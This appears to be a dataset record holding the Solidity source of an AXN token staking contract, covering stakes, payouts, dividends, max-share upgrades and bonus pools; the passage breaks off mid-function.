[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,797
0x9760D95e44E674DF922C3bDD4dC4a8FBD69E800E
// SPDX-License-Identifier: MIT pragma solidity >=0.4.25 <0.7.0; import '@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/math/MathUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol'; import '@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/utils/EnumerableSetUpgradeable.sol'; import './interfaces/IToken.sol'; import './interfaces/IAuction.sol'; import './interfaces/IStaking.sol'; import './interfaces/IStakingV1.sol'; contract Staking is IStaking, Initializable, AccessControlUpgradeable { using SafeMathUpgradeable for uint256; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; /** Events */ event Stake( address indexed account, uint256 indexed sessionId, uint256 amount, uint256 start, uint256 end, uint256 shares ); event MaxShareUpgrade( address indexed account, uint256 indexed sessionId, uint256 amount, uint256 newAmount, uint256 shares, uint256 newShares, uint256 start, uint256 end ); event Unstake( address indexed account, uint256 indexed sessionId, uint256 amount, uint256 start, uint256 end, uint256 shares ); event MakePayout( uint256 indexed value, uint256 indexed sharesTotalSupply, uint256 indexed time ); event DailyBurn( uint256 indexed value, uint256 indexed totalSupply, uint256 indexed time ); event AccountRegistered( address indexed account, uint256 indexed totalShares ); event WithdrawLiquidDiv( address indexed account, address indexed tokenAddress, uint256 indexed interest ); /** Structs */ struct Payout { uint256 payout; uint256 sharesTotalSupply; } struct Session { uint256 amount; uint256 start; uint256 end; uint256 shares; uint256 firstPayout; uint256 lastPayout; bool withdrawn; uint256 payout; } struct Addresses { address mainToken; address auction; address subBalances; } struct BPDPool { uint96[5] pool; uint96[5] shares; } struct BPDPool128 { uint128[5] pool; uint128[5] shares; } Addresses public addresses; IStakingV1 public stakingV1; /** Roles */ bytes32 public constant MIGRATOR_ROLE = keccak256('MIGRATOR_ROLE'); bytes32 public constant EXTERNAL_STAKER_ROLE = keccak256('EXTERNAL_STAKER_ROLE'); bytes32 public constant MANAGER_ROLE = keccak256('MANAGER_ROLE'); /** Public Variables */ uint256 public shareRate; //shareRate used to calculate the number of shares uint256 public sharesTotalSupply; //total shares supply uint256 public nextPayoutCall; //used to calculate when the daily makePayout() should run uint256 public stepTimestamp; // 24h * 60 * 60 uint256 public startContract; //time the contract started uint256 public globalPayout; uint256 public globalPayin; uint256 public lastSessionId; //the ID of the last stake uint256 public lastSessionIdV1; //the ID of the last stake from layer 1 staking contract /** Mappings / Arrays */ // individual staking sessions mapping(address => mapping(uint256 => Session)) public sessionDataOf; //array with staking sessions of an address mapping(address => uint256[]) public sessionsOf; //array with daily payouts Payout[] public payouts; /** Booleans */ bool public init_; uint256 public basePeriod; //350 days, time of the first BPD uint256 public totalStakedAmount; //total amount of staked AXN bool private maxShareEventActive; //true if maxShare upgrade is enabled uint16 private maxShareMaxDays; //maximum number of days a stake length can be in order to qualify for maxShare upgrade uint256 private shareRateScalingFactor; //scaling factor, default 1 to be used on the shareRate calculation uint256 internal totalVcaRegisteredShares; //total number of shares from accounts that registered for the VCA mapping(address => uint256) internal tokenPricePerShare; //price per share for every token that is going to be offered as divident through the VCA EnumerableSetUpgradeable.AddressSet internal divTokens; //list of dividends tokens //keep track if an address registered for VCA mapping(address => bool) internal isVcaRegistered; //total shares of active stakes for an address mapping(address => uint256) internal totalSharesOf; //mapping address-> VCA token used for VCA divs calculation. The way the system works is that deductBalances is starting as totalSharesOf x price of the respective token. So when the token price appreciates, the interest earned is the difference between totalSharesOf x new price - deductBalance [respective token] mapping(address => mapping(address => uint256)) internal deductBalances; bool internal paused; BPDPool bpd; BPDPool128 bpd128; /* New variables must go below here. */ modifier onlyManager() { require(hasRole(MANAGER_ROLE, _msgSender()), 'Caller is not a manager'); _; } modifier onlyMigrator() { require( hasRole(MIGRATOR_ROLE, _msgSender()), 'Caller is not a migrator' ); _; } modifier onlyExternalStaker() { require( hasRole(EXTERNAL_STAKER_ROLE, _msgSender()), 'Caller is not a external staker' ); _; } modifier pausable() { require( paused == false || hasRole(MIGRATOR_ROLE, _msgSender()), 'Contract is paused' ); _; } function initialize(address _manager, address _migrator) public initializer { _setupRole(MANAGER_ROLE, _manager); _setupRole(MIGRATOR_ROLE, _migrator); init_ = false; } // @param account {address} - address of account function sessionsOf_(address account) external view returns (uint256[] memory) { return sessionsOf[account]; } //staking function which receives AXN and creates the stake - takes as param the amount of AXN and the number of days to be staked //staking days need to be >0 and lower than max days which is 5555 // @param amount {uint256} - AXN amount to be staked // @param stakingDays {uint256} - number of days to be staked function stake(uint256 amount, uint256 stakingDays) external pausable { require(stakingDays != 0, 'Staking: Staking days < 1'); require(stakingDays <= 5555, 'Staking: Staking days > 5555'); //call stake internal method stakeInternal(amount, stakingDays, msg.sender); //on stake axion gets burned IToken(addresses.mainToken).burn(msg.sender, amount); } //external stake creates a stake for a different account than the caller. It takes an extra param the staker address // @param amount {uint256} - AXN amount to be staked // @param stakingDays {uint256} - number of days to be staked // @param staker {address} - account address to create the stake for function externalStake( uint256 amount, uint256 stakingDays, address staker ) external override onlyExternalStaker pausable { require(stakingDays != 0, 'Staking: Staking days < 1'); require(stakingDays <= 5555, 'Staking: Staking days > 5555'); stakeInternal(amount, stakingDays, staker); } // @param amount {uint256} - AXN amount to be staked // @param stakingDays {uint256} - number of days to be staked // @param staker {address} - account address to create the stake for function stakeInternal( uint256 amount, uint256 stakingDays, address staker ) internal { //once a day we need to call makePayout which takes the interest earned for the last day and adds it into the payout array if (now >= nextPayoutCall) makePayout(); //ensure the user is registered for VCA if not call it if (isVcaRegistered[staker] == false) setTotalSharesOfAccountInternal(staker); //time of staking start is now uint256 start = now; //time of stake end is now + number of days * stepTimestamp which is 24 hours uint256 end = now.add(stakingDays.mul(stepTimestamp)); //increase the last stake ID lastSessionId = lastSessionId.add(1); stakeInternalCommon( lastSessionId, amount, start, end, stakingDays, payouts.length, staker ); } //payment function uses param address and amount to be paid. Amount is minted to address // @param to {address} - account address to send the payment to // @param amount {uint256} - AXN amount to be paid function _initPayout(address to, uint256 amount) internal { IToken(addresses.mainToken).mint(to, amount); // globalPayout = globalPayout.add(amount); } //staking interest calculation goes through the payout array and calculates the interest based on the number of shares the user has and the payout for every day // @param firstPayout {uint256} - id of the first day of payout for the stake // @param lastPayout {uint256} - id of the last day of payout for the stake // @param shares {uint256} - number of shares of the stake function calculateStakingInterest( uint256 firstPayout, uint256 lastPayout, uint256 shares ) public view returns (uint256) { uint256 stakingInterest; //calculate lastIndex as minimum of lastPayout from stake session and current day (payouts.length). uint256 lastIndex = MathUpgradeable.min(payouts.length, lastPayout); for (uint256 i = firstPayout; i < lastIndex; i++) { uint256 payout = payouts[i].payout.mul(shares).div(payouts[i].sharesTotalSupply); stakingInterest = stakingInterest.add(payout); } return stakingInterest; } //unstake function // @param sessionID {uint256} - id of the stake function unstake(uint256 sessionId) external pausable { Session storage session = sessionDataOf[msg.sender][sessionId]; //ensure the stake hasn't been withdrawn before require( session.shares != 0 && session.withdrawn == false, 'Staking: Stake withdrawn or not set' ); uint256 actualEnd = now; //calculate the amount the stake earned; to be paid uint256 amountOut = unstakeInternal(session, sessionId, actualEnd); // To account _initPayout(msg.sender, amountOut); } //unstake function for layer1 stakes // @param sessionID {uint256} - id of the layer 1 stake function unstakeV1(uint256 sessionId) external pausable { //lastSessionIdv1 is the last stake ID from v1 layer require(sessionId <= lastSessionIdV1, 'Staking: Invalid sessionId'); Session storage session = sessionDataOf[msg.sender][sessionId]; // Unstaked already require( session.shares == 0 && session.withdrawn == false, 'Staking: Stake withdrawn' ); ( uint256 amount, uint256 start, uint256 end, uint256 shares, uint256 firstPayout ) = stakingV1.sessionDataOf(msg.sender, sessionId); // Unstaked in v1 / doesn't exist require(shares != 0, 'Staking: Stake withdrawn or not set'); uint256 stakingDays = (end - start) / stepTimestamp; uint256 lastPayout = stakingDays + firstPayout; uint256 actualEnd = now; //calculate amount to be paid uint256 amountOut = unstakeV1Internal( sessionId, amount, start, end, actualEnd, shares, firstPayout, lastPayout ); // To account _initPayout(msg.sender, amountOut); } //calculate the amount the stake earned and any penalty because of early/late unstake // @param amount {uint256} - amount of AXN staked // @param start {uint256} - start date of the stake // @param end {uint256} - end date of the stake // @param stakingInterest {uint256} - interest earned of the stake function getAmountOutAndPenalty( uint256 amount, uint256 start, uint256 end, uint256 stakingInterest ) public view returns (uint256, uint256) { uint256 stakingSeconds = end.sub(start); uint256 stakingDays = stakingSeconds.div(stepTimestamp); uint256 secondsStaked = now.sub(start); uint256 daysStaked = secondsStaked.div(stepTimestamp); uint256 amountAndInterest = amount.add(stakingInterest); // Early if (stakingDays > daysStaked) { uint256 payOutAmount = amountAndInterest.mul(secondsStaked).div(stakingSeconds); uint256 earlyUnstakePenalty = amountAndInterest.sub(payOutAmount); return (payOutAmount, earlyUnstakePenalty); // In time } else if (daysStaked < stakingDays.add(14)) { return (amountAndInterest, 0); // Late } else if (daysStaked < stakingDays.add(714)) { return (amountAndInterest, 0); /** Remove late penalties for now */ // uint256 daysAfterStaking = daysStaked - stakingDays; // uint256 payOutAmount = // amountAndInterest.mul(uint256(714).sub(daysAfterStaking)).div( // 700 // ); // uint256 lateUnstakePenalty = amountAndInterest.sub(payOutAmount); // return (payOutAmount, lateUnstakePenalty); // Nothing } else { return (0, amountAndInterest); } } //makePayout function runs once per day and takes all the AXN earned as interest and puts it into payout array for the day function makePayout() public { require(now >= nextPayoutCall, 'Staking: Wrong payout time'); uint256 payout = _getPayout(); payouts.push( Payout({payout: payout, sharesTotalSupply: sharesTotalSupply}) ); nextPayoutCall = nextPayoutCall.add(stepTimestamp); //call updateShareRate once a day as sharerate increases based on the daily Payout amount updateShareRate(payout); emit MakePayout(payout, sharesTotalSupply, now); } function _getPayout() internal returns (uint256) { //amountTokenInDay - AXN from auction buybacks goes into the staking contract uint256 amountTokenInDay = IERC20Upgradeable(addresses.mainToken).balanceOf(address(this)); IERC20Upgradeable(addresses.mainToken).transfer( 0x000000000000000000000000000000000000dEaD, amountTokenInDay ); // Send to dead address uint256 balanceOfDead = IERC20Upgradeable(addresses.mainToken).balanceOf( 0x000000000000000000000000000000000000dEaD ); uint256 currentTokenTotalSupply = (IERC20Upgradeable(addresses.mainToken).totalSupply()); //we add 8% inflation uint256 inflation = uint256(8) .mul( currentTokenTotalSupply.sub(balanceOfDead).add( totalStakedAmount ) ) .div(36500); emit DailyBurn(amountTokenInDay, currentTokenTotalSupply, now); return inflation; } // formula for shares calculation given a number of AXN and a start and end date // @param amount {uint256} - amount of AXN // @param start {uint256} - start date of the stake // @param end {uint256} - end date of the stake function _getStakersSharesAmount( uint256 amount, uint256 start, uint256 end ) internal view returns (uint256) { uint256 stakingDays = (end.sub(start)).div(stepTimestamp); uint256 numerator = amount.mul(uint256(1819).add(stakingDays)); uint256 denominator = uint256(1820).mul(shareRate); return (numerator).mul(1e18).div(denominator); } // @param amount {uint256} - amount of AXN // @param shares {uint256} - number of shares // @param start {uint256} - start date of the stake // @param end {uint256} - end date of the stake // @param stakingInterest {uint256} - interest earned by the stake function _getShareRate( uint256 amount, uint256 shares, uint256 start, uint256 end, uint256 stakingInterest ) internal view returns (uint256) { uint256 stakingDays = (end.sub(start)).div(stepTimestamp); uint256 numerator = (amount.add(stakingInterest)).mul(uint256(1819).add(stakingDays)); uint256 denominator = uint256(1820).mul(shares); return (numerator).mul(1e18).div(denominator); } //takes a matures stake and allows restake instead of having to withdraw the axn and stake it back into another stake //restake will take the principal + interest earned + allow a topup // @param sessionID {uint256} - id of the stake // @param stakingDays {uint256} - number of days to be staked // @param topup {uint256} - amount of AXN to be added as topup to the stake function restake( uint256 sessionId, uint256 stakingDays, uint256 topup ) external pausable { require(stakingDays != 0, 'Staking: Staking days < 1'); require(stakingDays <= 5555, 'Staking: Staking days > 5555'); Session storage session = sessionDataOf[msg.sender][sessionId]; require( session.shares != 0 && session.withdrawn == false, 'Staking: Stake withdrawn/invalid' ); uint256 actualEnd = now; require(session.end <= actualEnd, 'Staking: Stake not mature'); uint256 amountOut = unstakeInternal(session, sessionId, actualEnd); if (topup != 0) { IToken(addresses.mainToken).burn(msg.sender, topup); amountOut = amountOut.add(topup); } stakeInternal(amountOut, stakingDays, msg.sender); } //same as restake but for layer 1 stakes // @param sessionID {uint256} - id of the stake // @param stakingDays {uint256} - number of days to be staked // @param topup {uint256} - amount of AXN to be added as topup to the stake function restakeV1( uint256 sessionId, uint256 stakingDays, uint256 topup ) external pausable { require(sessionId <= lastSessionIdV1, 'Staking: Invalid sessionId'); require(stakingDays != 0, 'Staking: Staking days < 1'); require(stakingDays <= 5555, 'Staking: Staking days > 5555'); Session storage session = sessionDataOf[msg.sender][sessionId]; require( session.shares == 0 && session.withdrawn == false, 'Staking: Stake withdrawn' ); ( uint256 amount, uint256 start, uint256 end, uint256 shares, uint256 firstPayout ) = stakingV1.sessionDataOf(msg.sender, sessionId); // Unstaked in v1 / doesn't exist require(shares != 0, 'Staking: Stake withdrawn'); uint256 actualEnd = now; require(end <= actualEnd, 'Staking: Stake not mature'); uint256 sessionStakingDays = (end - start) / stepTimestamp; uint256 lastPayout = sessionStakingDays + firstPayout; uint256 amountOut = unstakeV1Internal( sessionId, amount, start, end, actualEnd, shares, firstPayout, lastPayout ); if (topup != 0) { IToken(addresses.mainToken).burn(msg.sender, topup); amountOut = amountOut.add(topup); } stakeInternal(amountOut, stakingDays, msg.sender); } // @param session {Session} - session of the stake // @param sessionId {uint256} - id of the stake // @param actualEnd {uint256} - the date when the stake was actually been unstaked function unstakeInternal( Session storage session, uint256 sessionId, uint256 actualEnd ) internal returns (uint256) { uint256 amountOut = unstakeInternalCommon( sessionId, session.amount, session.start, session.end, actualEnd, session.shares, session.firstPayout, session.lastPayout ); session.end = actualEnd; session.withdrawn = true; session.payout = amountOut; return amountOut; } // @param sessionID {uint256} - id of the stake // @param amount {uint256} - amount of AXN // @param start {uint256} - start date of the stake // @param end {uint256} - end date of the stake // @param actualEnd {uint256} - actual end date of the stake // @param shares {uint256} - number of stares of the stake // @param firstPayout {uint256} - id of the first payout for the stake // @param lastPayout {uint256} - if of the last payout for the stake // @param stakingDays {uint256} - number of staking days function unstakeV1Internal( uint256 sessionId, uint256 amount, uint256 start, uint256 end, uint256 actualEnd, uint256 shares, uint256 firstPayout, uint256 lastPayout ) internal returns (uint256) { uint256 amountOut = unstakeInternalCommon( sessionId, amount, start, end, actualEnd, shares, firstPayout, lastPayout ); sessionDataOf[msg.sender][sessionId] = Session({ amount: amount, start: start, end: actualEnd, shares: shares, firstPayout: firstPayout, lastPayout: lastPayout, withdrawn: true, payout: amountOut }); sessionsOf[msg.sender].push(sessionId); return amountOut; } // @param sessionID {uint256} - id of the stake // @param amount {uint256} - amount of AXN // @param start {uint256} - start date of the stake // @param end {uint256} - end date of the stake // @param actualEnd {uint256} - actual end date of the stake // @param shares {uint256} - number of stares of the stake // @param firstPayout {uint256} - id of the first payout for the stake // @param lastPayout {uint256} - if of the last payout for the stake function unstakeInternalCommon( uint256 sessionId, uint256 amount, uint256 start, uint256 end, uint256 actualEnd, uint256 shares, uint256 firstPayout, uint256 lastPayout ) internal returns (uint256) { if (now >= nextPayoutCall) makePayout(); if (isVcaRegistered[msg.sender] == false) setTotalSharesOfAccountInternal(msg.sender); uint256 stakingInterest = calculateStakingInterest(firstPayout, lastPayout, shares); sharesTotalSupply = sharesTotalSupply.sub(shares); totalStakedAmount = totalStakedAmount.sub(amount); totalVcaRegisteredShares = totalVcaRegisteredShares.sub(shares); uint256 oldTotalSharesOf = totalSharesOf[msg.sender]; totalSharesOf[msg.sender] = totalSharesOf[msg.sender].sub(shares); rebalance(msg.sender, oldTotalSharesOf); (uint256 amountOut, uint256 penalty) = getAmountOutAndPenalty(amount, start, end, stakingInterest); // add bpd to amount amountOut if stakingDays >= basePeriod uint256 stakingDays = (actualEnd - start) / stepTimestamp; if (stakingDays >= basePeriod) { // We use "Actual end" so that if a user tries to withdraw their BPD early they don't get the shares uint256 bpdAmount = calcBPD(start, actualEnd < end ? actualEnd : end, shares); amountOut = amountOut.add(bpdAmount); } // To auction // if (penalty != 0) { // _initPayout(addresses.auction, penalty); // IAuction(addresses.auction).callIncomeDailyTokensTrigger(penalty); // } emit Unstake( msg.sender, sessionId, amountOut, start, actualEnd, shares ); return amountOut; } // @param sessionID {uint256} - id of the stake // @param amount {uint256} - amount of AXN // @param start {uint256} - start date of the stake // @param end {uint256} - end date of the stake // @param stakingDays {uint256} - number of staking days // @param firstPayout {uint256} - id of the first payout for the stake // @param lastPayout {uint256} - if of the last payout for the stake // @param staker {address} - address of the staker account function stakeInternalCommon( uint256 sessionId, uint256 amount, uint256 start, uint256 end, uint256 stakingDays, uint256 firstPayout, address staker ) internal { uint256 shares = _getStakersSharesAmount(amount, start, end); sharesTotalSupply = sharesTotalSupply.add(shares); totalStakedAmount = totalStakedAmount.add(amount); totalVcaRegisteredShares = totalVcaRegisteredShares.add(shares); uint256 oldTotalSharesOf = totalSharesOf[staker]; totalSharesOf[staker] = totalSharesOf[staker].add(shares); rebalance(staker, oldTotalSharesOf); sessionDataOf[staker][sessionId] = Session({ amount: amount, start: start, end: end, shares: shares, firstPayout: firstPayout, lastPayout: firstPayout + stakingDays, withdrawn: false, payout: 0 }); sessionsOf[staker].push(sessionId); // add shares to bpd pool addBPDShares(shares, start, end); emit Stake(staker, sessionId, amount, start, end, shares); } //function to withdraw the dividends earned for a specific token // @param tokenAddress {address} - address of the dividend token function withdrawDivToken(address tokenAddress) external { withdrawDivTokenInternal(tokenAddress, totalSharesOf[msg.sender]); } function withdrawDivTokenInternal( address tokenAddress, uint256 _totalSharesOf ) internal { uint256 tokenInterestEarned = getTokenInterestEarnedInternal( msg.sender, tokenAddress, _totalSharesOf ); // after dividents are paid we need to set the deductBalance of that token to current token price * total shares of the account deductBalances[msg.sender][tokenAddress] = totalSharesOf[msg.sender] .mul(tokenPricePerShare[tokenAddress]); /** 0xFF... is our ethereum placeholder address */ if ( tokenAddress != address(0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF) ) { IERC20Upgradeable(tokenAddress).transfer( msg.sender, tokenInterestEarned ); } else { msg.sender.transfer(tokenInterestEarned); } emit WithdrawLiquidDiv(msg.sender, tokenAddress, tokenInterestEarned); } //calculate the interest earned by an address for a specific dividend token // @param accountAddress {address} - address of account // @param tokenAddress {address} - address of the dividend token function getTokenInterestEarned( address accountAddress, address tokenAddress ) external view returns (uint256) { return getTokenInterestEarnedInternal( accountAddress, tokenAddress, totalSharesOf[accountAddress] ); } // @param accountAddress {address} - address of account // @param tokenAddress {address} - address of the dividend token function getTokenInterestEarnedInternal( address accountAddress, address tokenAddress, uint256 _totalSharesOf ) internal view returns (uint256) { return _totalSharesOf .mul(tokenPricePerShare[tokenAddress]) .sub(deductBalances[accountAddress][tokenAddress]) .div(10**36); //we divide since we multiplied the price by 10**36 for precision } //the rebalance function recalculates the deductBalances of an user after the total number of shares changes as a result of a stake/unstake // @param staker {address} - address of account // @param oldTotalSharesOf {uint256} - previous number of shares for the account function rebalance(address staker, uint256 oldTotalSharesOf) internal { for (uint8 i = 0; i < divTokens.length(); i++) { uint256 tokenInterestEarned = oldTotalSharesOf.mul(tokenPricePerShare[divTokens.at(i)]).sub( deductBalances[staker][divTokens.at(i)] ); if ( totalSharesOf[staker].mul(tokenPricePerShare[divTokens.at(i)]) < tokenInterestEarned ) { withdrawDivTokenInternal(divTokens.at(i), oldTotalSharesOf); } else { deductBalances[staker][divTokens.at(i)] = totalSharesOf[staker] .mul(tokenPricePerShare[divTokens.at(i)]) .sub(tokenInterestEarned); } } } //registration function that sets the total number of shares for an account and inits the deductBalances // @param account {address} - address of account function setTotalSharesOfAccountInternal(address account) internal pausable { require( isVcaRegistered[account] == false || hasRole(MIGRATOR_ROLE, msg.sender), 'STAKING: Account already registered.' ); uint256 totalShares; //pull the layer 2 staking sessions for the account uint256[] storage sessionsOfAccount = sessionsOf[account]; for (uint256 i = 0; i < sessionsOfAccount.length; i++) { if (sessionDataOf[account][sessionsOfAccount[i]].withdrawn) //make sure the stake is active; not withdrawn continue; totalShares = totalShares.add( //sum total shares sessionDataOf[account][sessionsOfAccount[i]].shares ); } //pull stakes from layer 1 uint256[] memory v1SessionsOfAccount = stakingV1.sessionsOf_(account); for (uint256 i = 0; i < v1SessionsOfAccount.length; i++) { if (sessionDataOf[account][v1SessionsOfAccount[i]].shares != 0) //make sure the stake was not withdran. continue; if (v1SessionsOfAccount[i] > lastSessionIdV1) continue; //make sure we only take layer 1 stakes in consideration ( uint256 amount, uint256 start, uint256 end, uint256 shares, uint256 firstPayout ) = stakingV1.sessionDataOf(account, v1SessionsOfAccount[i]); (amount); (start); (end); (firstPayout); if (shares == 0) continue; totalShares = totalShares.add(shares); //calclate total shares } isVcaRegistered[account] = true; //confirm the registration was completed if (totalShares != 0) { totalSharesOf[account] = totalShares; totalVcaRegisteredShares = totalVcaRegisteredShares.add( //update the global total number of VCA registered shares totalShares ); //init deductBalances with the present values for (uint256 i = 0; i < divTokens.length(); i++) { deductBalances[account][divTokens.at(i)] = totalShares.mul( tokenPricePerShare[divTokens.at(i)] ); } } emit AccountRegistered(account, totalShares); } //function to allow anyone to call the registration of another address // @param _address {address} - address of account function setTotalSharesOfAccount(address _address) external { setTotalSharesOfAccountInternal(_address); } //function that will update the price per share for a dividend token. it is called from within the auction contract as a result of a venture auction bid // @param bidderAddress {address} - the address of the bidder // @param originAddress {address} - the address of origin/dev fee // @param tokenAddress {address} - the divident token address // @param amountBought {uint256} - the amount in ETH that was bid in the auction function updateTokenPricePerShare( address payable bidderAddress, address payable originAddress, address tokenAddress, uint256 amountBought ) external payable override onlyExternalStaker { if (tokenAddress != addresses.mainToken) { tokenPricePerShare[tokenAddress] = tokenPricePerShare[tokenAddress] .add(amountBought.mul(10**36).div(totalVcaRegisteredShares)); //increase the token price per share with the amount bought divided by the total Vca registered shares } } //add a new dividend token // @param tokenAddress {address} - dividend token address function addDivToken(address tokenAddress) external override onlyExternalStaker { if ( !divTokens.contains(tokenAddress) && tokenAddress != addresses.mainToken ) { //make sure the token is not already added divTokens.add(tokenAddress); } } //function to increase the share rate price //the update happens daily and used the amount of AXN sold through regular auction to calculate the amount to increase the share rate with // @param _payout {uint256} - amount of AXN that was bought back through the regular auction function updateShareRate(uint256 _payout) internal { uint256 currentTokenTotalSupply = IERC20Upgradeable(addresses.mainToken).totalSupply(); uint256 growthFactor = _payout.mul(1e18).div( currentTokenTotalSupply + totalStakedAmount + 1 //we calculate the total AXN supply as circulating + staked ); if (shareRateScalingFactor == 0) { //use a shareRateScalingFactor which can be set in order to tune the speed of shareRate increase shareRateScalingFactor = 1; } shareRate = shareRate .mul(1e18 + shareRateScalingFactor.mul(growthFactor)) //1e18 used for precision. .div(1e18); } //function to set the shareRateScalingFactor // @param _scalingFactor {uint256} - scaling factor number function setShareRateScalingFactor(uint256 _scalingFactor) external onlyManager { shareRateScalingFactor = _scalingFactor; } //function that allows a stake to be upgraded to a stake with a length of 5555 days without incuring any penalties //the function takes the current earned interest and uses the principal + interest to create a new stake //for v2 stakes it's only updating the current existing stake info, it's not creating a new stake // @param sessionId {uint256} - id of the staking session function maxShare(uint256 sessionId) external pausable { Session storage session = sessionDataOf[msg.sender][sessionId]; require( session.shares != 0 && session.withdrawn == false, 'STAKING: Stake withdrawn or not set' ); ( uint256 newStart, uint256 newEnd, uint256 newAmount, uint256 newShares ) = maxShareUpgrade( session.firstPayout, session.lastPayout, session.shares, session.amount ); addBPDMaxShares( session.shares, session.start, session.end, newShares, newStart, newEnd ); maxShareInternal( sessionId, session.shares, newShares, session.amount, newAmount, newStart, newEnd ); sessionDataOf[msg.sender][sessionId].amount = newAmount; sessionDataOf[msg.sender][sessionId].end = newEnd; sessionDataOf[msg.sender][sessionId].start = newStart; sessionDataOf[msg.sender][sessionId].shares = newShares; sessionDataOf[msg.sender][sessionId].firstPayout = payouts.length; sessionDataOf[msg.sender][sessionId].lastPayout = payouts.length + 5555; } //similar to the maxShare function, but for layer 1 stakes only // @param sessionId {uint256} - id of the staking session function maxShareV1(uint256 sessionId) external pausable { require(sessionId <= lastSessionIdV1, 'STAKING: Invalid sessionId'); Session storage session = sessionDataOf[msg.sender][sessionId]; require( session.shares == 0 && session.withdrawn == false, 'STAKING: Stake withdrawn' ); ( uint256 amount, uint256 start, uint256 end, uint256 shares, uint256 firstPayout ) = stakingV1.sessionDataOf(msg.sender, sessionId); require(shares != 0, 'STAKING: Stake withdrawn v1'); uint256 stakingDays = (end - start) / stepTimestamp; uint256 lastPayout = stakingDays + firstPayout; ( uint256 newStart, uint256 newEnd, uint256 newAmount, uint256 newShares ) = maxShareUpgrade(firstPayout, lastPayout, shares, amount); addBPDMaxShares(shares, start, end, newShares, newStart, newEnd); maxShareInternal( sessionId, shares, newShares, amount, newAmount, newStart, newEnd ); sessionDataOf[msg.sender][sessionId] = Session({ amount: newAmount, start: newStart, end: newEnd, shares: newShares, firstPayout: payouts.length, lastPayout: payouts.length + 5555, withdrawn: false, payout: 0 }); sessionsOf[msg.sender].push(sessionId); } //function to calculate the new start, end, new amount and new shares for a max share upgrade // @param firstPayout {uint256} - id of the first Payout // @param lasttPayout {uint256} - id of the last Payout // @param shares {uint256} - number of shares // @param amount {uint256} - amount of AXN function maxShareUpgrade( uint256 firstPayout, uint256 lastPayout, uint256 shares, uint256 amount ) internal view returns ( uint256, uint256, uint256, uint256 ) { require( maxShareEventActive == true, 'STAKING: Max Share event is not active' ); require( lastPayout - firstPayout <= maxShareMaxDays, 'STAKING: Max Share Upgrade - Stake must be less then max share max days' ); uint256 stakingInterest = calculateStakingInterest(firstPayout, lastPayout, shares); uint256 newStart = now; uint256 newEnd = newStart + (stepTimestamp * 5555); uint256 newAmount = stakingInterest + amount; uint256 newShares = _getStakersSharesAmount(newAmount, newStart, newEnd); require( newShares > shares, 'STAKING: New shares are not greater then previous shares' ); return (newStart, newEnd, newAmount, newShares); } // @param sessionId {uint256} - id of the staking session // @param oldShares {uint256} - previous number of shares // @param newShares {uint256} - new number of shares // @param oldAmount {uint256} - old amount of AXN // @param newAmount {uint256} - new amount of AXN // @param newStart {uint256} - new start date for the stake // @param newEnd {uint256} - new end date for the stake function maxShareInternal( uint256 sessionId, uint256 oldShares, uint256 newShares, uint256 oldAmount, uint256 newAmount, uint256 newStart, uint256 newEnd ) internal { if (now >= nextPayoutCall) makePayout(); if (isVcaRegistered[msg.sender] == false) setTotalSharesOfAccountInternal(msg.sender); sharesTotalSupply = sharesTotalSupply.add(newShares - oldShares); totalStakedAmount = totalStakedAmount.add(newAmount - oldAmount); totalVcaRegisteredShares = totalVcaRegisteredShares.add( newShares - oldShares ); uint256 oldTotalSharesOf = totalSharesOf[msg.sender]; totalSharesOf[msg.sender] = totalSharesOf[msg.sender].add( newShares - oldShares ); rebalance(msg.sender, oldTotalSharesOf); emit MaxShareUpgrade( msg.sender, sessionId, oldAmount, newAmount, oldShares, newShares, newStart, newEnd ); } // stepTimestamp // startContract function calculateStepsFromStart() public view returns (uint256) { return now.sub(startContract).div(stepTimestamp); } /** Set Max Shares */ function setMaxShareEventActive(bool _active) external onlyManager { maxShareEventActive = _active; } function getMaxShareEventActive() external view returns (bool) { return maxShareEventActive; } function setMaxShareMaxDays(uint16 _maxShareMaxDays) external onlyManager { maxShareMaxDays = _maxShareMaxDays; } function setTotalVcaRegisteredShares(uint256 _shares) external onlyMigrator { totalVcaRegisteredShares = _shares; } function setPaused(bool _paused) external { require( hasRole(MIGRATOR_ROLE, msg.sender) || hasRole(MANAGER_ROLE, msg.sender), 'STAKING: User must be manager or migrator' ); paused = _paused; } function getPaused() external view returns (bool) { return paused; } function getMaxShareMaxDays() external view returns (uint16) { return maxShareMaxDays; } /** Roles management - only for multi sig address */ function setupRole(bytes32 role, address account) external onlyManager { _setupRole(role, account); } function getDivTokens() external view returns (address[] memory) { address[] memory divTokenAddresses = new address[](divTokens.length()); for (uint8 i = 0; i < divTokens.length(); i++) { divTokenAddresses[i] = divTokens.at(i); } return divTokenAddresses; } function getTotalSharesOf(address account) external view returns (uint256) { return totalSharesOf[account]; } function getTotalVcaRegisteredShares() external view returns (uint256) { return totalVcaRegisteredShares; } function getIsVCARegistered(address staker) external view returns (bool) { return isVcaRegistered[staker]; } function setBPDPools( uint128[5] calldata poolAmount, uint128[5] calldata poolShares ) external onlyMigrator { for (uint8 i = 0; i < poolAmount.length; i++) { bpd128.pool[i] = poolAmount[i]; bpd128.shares[i] = poolShares[i]; } } function findBPDEligible(uint256 starttime, uint256 endtime) external view returns (uint16[2] memory) { return findBPDs(starttime, endtime); } function findBPDs(uint256 starttime, uint256 endtime) internal view returns (uint16[2] memory) { uint16[2] memory bpdInterval; uint256 denom = stepTimestamp.mul(350); bpdInterval[0] = 